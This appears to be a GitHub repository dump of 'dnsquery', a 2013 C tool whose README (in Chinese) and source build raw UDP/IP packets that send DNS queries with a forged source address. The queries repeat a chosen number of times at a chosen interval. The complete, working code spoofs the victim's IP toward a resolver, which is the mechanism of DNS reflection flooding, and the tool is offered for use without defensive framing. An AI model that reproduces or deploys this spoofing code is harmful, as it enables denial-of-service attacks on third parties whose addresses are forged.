├── Makefile ├── README.md ├── dnsquery └── dnsquery.c /Makefile: -------------------------------------------------------------------------------- 1 | dnsquery:dnsquery.c 2 | gcc -g -Wall -masm=intel -lpcap dnsquery.c -o dnsquery 3 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | dnsquery 2 | ======== 3 | 4 | send dns query packet 5 | 6 | 参数说明: 7 | 8 | ./dnsquery 1.1.1.1 www.sincoder.com 8.8.8.8 22 0 9 | 10 | 伪造源地址为 1.1.1.1 向 8.8.8.8 发送解析域名www.sincoder.com 的请求 重复发送22次 每个包时间间隔为 0 ms 11 | -------------------------------------------------------------------------------- /dnsquery: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/dnsquery/39fb9d37810062e2ea8649b7a6a6047fdaca46f8/dnsquery -------------------------------------------------------------------------------- /dnsquery.c: -------------------------------------------------------------------------------- 1 | // dnsquery by sincoder 2 | // email:admin@sincoder.com 3 | // 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | 22 | #pragma pack(push,1) 23 | /* DNS header definition */ 24 | struct dnshdr 25 | { 26 | unsigned short id; 27 | unsigned short flags; 28 | unsigned short qdcount; 29 | unsigned short ancount; 30 | unsigned short nscount; 31 | unsigned short arcount; 32 | }; 33 | 34 | /* DNS query structure */ 35 | struct dnsquery 36 | { 37 | char *qname; 38 | unsigned short qtype; 39 | unsigned short qclass; 40 | }; 41 | 42 | /* DNS answer structure */ 43 | struct dnsanswer 44 | { 45 | char *name; 46 | char atype[2]; 47 | char aclass[2]; 48 | char ttl[4]; 49 | char RdataLen[2]; 50 | char *Rdata; 51 | }; 52 | 53 | #pragma pack(pop) 54 | 55 | int g_raw_socket = 0; 56 | int g_scr_ip = 0; 57 | int g_dns_ip = 0; 58 | int g_send_interval = 0; 59 | int g_query_count = 0; 60 | /** 61 | * Calculates a checksum for a given header 62 | */ 63 | unsigned short csum(unsigned short *buf, int nwords) 64 | { 65 | unsigned long sum; 66 | for (sum = 0; nwords > 0; nwords--) 67 | sum += *buf++; 68 | sum = (sum >> 16) + (sum & 0xffff); 69 | sum += (sum >> 16); 70 | return ~sum; 71 | } 72 | 73 | /** 74 | * Builds an UDP/IP datagram 75 | */ 76 | int build_udp_ip_datagram(char *datagram, unsigned int payload_size, uint32_t src_ip, uint32_t dst_ip, u_int16_t port) 77 | { 78 | struct ip *ip_hdr = (struct ip *) datagram; 79 | struct udphdr *udp_hdr = (struct udphdr *) (datagram + sizeof (struct ip)); 80 | 81 | ip_hdr->ip_hl = 5; //header length 82 | ip_hdr->ip_v = 4; //version 83 | ip_hdr->ip_tos = 0; //tos 84 | ip_hdr->ip_len = sizeof(struct ip) + sizeof(struct udphdr) + payload_size; //length 85 | ip_hdr->ip_id = 0; //id 86 | ip_hdr->ip_off = 0; //fragment offset 87 | ip_hdr->ip_ttl = 255; //ttl 88 | ip_hdr->ip_p = 17; //protocol 89 | ip_hdr->ip_sum = 0; //temp checksum 90 | ip_hdr->ip_src.s_addr = src_ip; //src ip - spoofed 91 | ip_hdr->ip_dst.s_addr = dst_ip; //dst ip 92 | 93 | udp_hdr->source = port; //src port - spoofed 94 | udp_hdr->dest = htons(53); //dst port 95 | udp_hdr->len = htons(sizeof(struct udphdr) + payload_size); //length 96 | udp_hdr->check = 0; //checksum - disabled 97 | 98 | ip_hdr->ip_sum = csum((unsigned short *) datagram, ip_hdr->ip_len >> 1); //real checksum 99 | 100 | return ip_hdr->ip_len >> 1; 101 | } 102 | 103 | void Sleep(uint32_t msec) 104 | { 105 | struct timespec slptm; 106 | slptm.tv_sec = msec / 1000; 107 | slptm.tv_nsec = 1000 * 1000 * (msec - (msec / 1000) * 1000); //1000 ns = 1 us 108 | if (nanosleep(&slptm, NULL) != -1) 109 | { 110 | 111 | } 112 | else 113 | { 114 | fprintf(stderr,"%s : %u", "nanosleep failed !!\n", msec); 115 | } 116 | } 117 | 118 | 119 | static void show_usage_msg() 120 | { 121 | printf("copyright 2013 sincoder\n"); 122 | printf("Usage:dnsquery [srcip] [domain] [dns server] [query count] [send interval]\n" 123 | "example: dnsquery 192.168.11.1 www.baidu.com 8.8.8.8 2 1000\n"); 124 | } 125 | 126 | int create_raw_socket() 127 | { 128 | int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); 129 | int one = 1; 130 | const int *val = &one; 131 | 132 | if (sock < 0) 133 | { 134 | fprintf(stderr, "Error creating socket \n"); 135 | return -1; 136 | } 137 | 138 | if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, val, sizeof(one)) < 0) 139 | { 140 | fprintf(stderr, "Error at setsockopt() \n"); 141 | close(sock); 142 | return -1; 143 | } 144 | return sock; 145 | } 146 | 147 | /* 148 | in : www.sincoder.com\x0 149 | out: \x3www\x8sincoder\x3com\x0 150 | */ 151 | int make_dns_query_domain(char *domain) 152 | { 153 | char out[256]; 154 | char *p = domain; 155 | char *pout = &out[0]; 156 | while (*p) 157 | { 158 | int size = 0; 159 | char *pdomain = p; 160 | while (*pdomain && *pdomain != '.') 161 | { 162 | size++; 163 | pdomain++; 164 | } 165 | pout[0] = size; 166 | pout ++; 167 | strncpy(pout, p, size); 168 | pout += size; 169 | p = pdomain; 170 | if ('.' == *p) 171 | { 172 | p++; 173 | } 174 | } 175 | *(pout) = 0; 176 | memcpy(domain, &out[0], pout - &out[0] + 1); 177 | return pout - &out[0] + 1; 178 | } 179 | 180 | uint16_t random16() 181 | { 182 | struct timeval tv; 183 | gettimeofday(&tv, NULL); 184 | return (uint16_t)(tv.tv_sec * tv.tv_usec); 185 | } 186 | 187 | unsigned short query_id = 0x0; 188 | void send_dns_query_packet(char *domain) 189 | { 190 | struct sockaddr_in to_addr; 191 | int bytes_sent; 192 | int len = 0; 193 | char packet[1500]; 194 | char query_domain[256]; 195 | struct dnshdr *dns_header = (struct dnshdr *)(&packet[0] + sizeof(struct ip) + sizeof(struct udphdr)) ; 196 | 197 | strncpy(query_domain, domain, 256); 198 | dns_header->id = query_id ++; 199 | dns_header->flags = 0x0001; 200 | dns_header->qdcount = 0x0100; 201 | dns_header->ancount = 0x0000; 202 | dns_header->nscount = 0x0000; 203 | dns_header->arcount = 0x0000; 204 | 205 | len = make_dns_query_domain(&query_domain[0]); 206 | 207 | strcpy((char *)(dns_header + 1), query_domain); 208 | 209 | *(int *)((char *)(dns_header + 1) + len) = 0x01000100; 210 | 211 | len = len + sizeof(struct dnshdr) + 4; 212 | 213 | //printf("payload size %d\n", len); 214 | 215 | build_udp_ip_datagram(packet, len, g_scr_ip, g_dns_ip, random16()); 216 | 217 | to_addr.sin_family = AF_INET; 218 | to_addr.sin_port = htons(53); 219 | to_addr.sin_addr.s_addr = g_dns_ip; 220 | 221 | len += (sizeof(struct ip) + sizeof(struct udphdr)); 222 | 223 | bytes_sent = sendto(g_raw_socket, packet, len, 0, (struct sockaddr *)&to_addr, sizeof(to_addr)); 224 | if (bytes_sent < 0) 225 | { 226 | fprintf(stderr, "Error sending data \n"); 227 | } 228 | } 229 | 230 | 231 | int main(int argc, char **argv) 232 | { 233 | int idx = 0; 234 | if (argc < 5) 235 | { 236 | show_usage_msg(); 237 | return -1; 238 | } 239 | g_raw_socket = create_raw_socket(); 240 | if (-1 == g_raw_socket) 241 | { 242 | fprintf(stderr, "create raw socket failed ! \n"); 243 | return -2; 244 | } 245 | g_dns_ip = inet_addr(argv[3]); 246 | if (0 == g_dns_ip) 247 | { 248 | fprintf(stderr, "dns server ip error !!\n"); 249 | close(g_raw_socket); 250 | return -3; 251 | } 252 | g_scr_ip = inet_addr(argv[1]); 253 | if (0 == g_scr_ip) 254 | { 255 | fprintf(stderr, "src ip error !!\n"); 256 | close(g_raw_socket); 257 | return -4; 258 | } 259 | g_send_interval = atoi(argv[5]); 260 | 261 | if (g_send_interval > 1000) 262 | { 263 | fprintf(stderr, "send interval is %d maybe too long \n", g_send_interval ); 264 | } 265 | g_query_count = atoi(argv[4]); 266 | if (0 == g_query_count) 267 | { 268 | fprintf(stderr, "query count is 0 ,I will set it to 1 ! \n"); 269 | g_query_count = 1; 270 | } 271 | for (idx = 0; idx < g_query_count; ) 272 | { 273 | send_dns_query_packet(argv[2]); 274 | if(g_send_interval) 275 | Sleep(g_send_interval); 276 | printf("\rsend %d packets",++idx); 277 | } 278 | printf("\n"); 279 | close(g_raw_socket); 280 | return 0; 281 | } 282 | --------------------------------------------------------------------------------